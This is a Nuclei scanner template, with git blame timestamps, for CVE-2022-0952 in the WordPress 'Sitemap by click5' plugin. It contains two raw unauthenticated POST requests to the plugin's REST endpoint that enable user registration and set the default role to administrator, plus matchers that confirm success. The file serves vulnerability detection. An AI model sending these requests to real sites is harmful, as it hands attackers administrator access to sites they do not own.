nuclei-templates/cves/2022/CVE-2022-0952.yaml

40 lines
1.2 KiB
YAML
Raw Normal View History

2022-04-15 14:45:43 +00:00
id: CVE-2022-0952
info:
name: Sitemap by click5 < 1.0.36 - Unauthenticated Arbitrary Options Update
author: random-robbie
severity: critical
2022-07-25 12:10:44 +00:00
description: |
The plugin does not have authorisation and CSRF checks when updating options via a REST endpoint, and does not ensure that the option to be updated belongs to the plugin
2022-07-25 12:15:07 +00:00
reference:
2022-07-25 12:10:44 +00:00
- https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b
metadata:
verified: true
tags: cve,cve2022,wordpress,wp,wp-plugin,sitemap
2022-04-15 14:45:43 +00:00
requests:
2022-04-18 10:49:28 +00:00
- raw:
- |
2022-07-25 12:10:44 +00:00
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
2022-04-18 10:49:28 +00:00
Host: {{Hostname}}
2022-07-25 12:10:44 +00:00
Content-type: application/json;charset=UTF-8
{"users_can_register":"1"}
2022-04-15 14:45:43 +00:00
2022-04-18 10:49:28 +00:00
- |
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: {{Hostname}}
Content-type: application/json;charset=UTF-8
2022-04-15 14:45:43 +00:00
2022-07-25 12:10:44 +00:00
{"default_role":"administrator"}
2022-04-18 10:49:28 +00:00
2022-07-25 12:10:44 +00:00
req-condition: true
2022-04-18 10:49:28 +00:00
matchers:
2022-07-25 12:10:44 +00:00
- type: dsl
dsl:
- 'contains(all_headers, "application/json")'
- "status_code == 200"
- "contains(body_1, 'users_can_register')"
- "contains(body_2, 'default_role')"
2022-04-18 10:49:28 +00:00
condition: and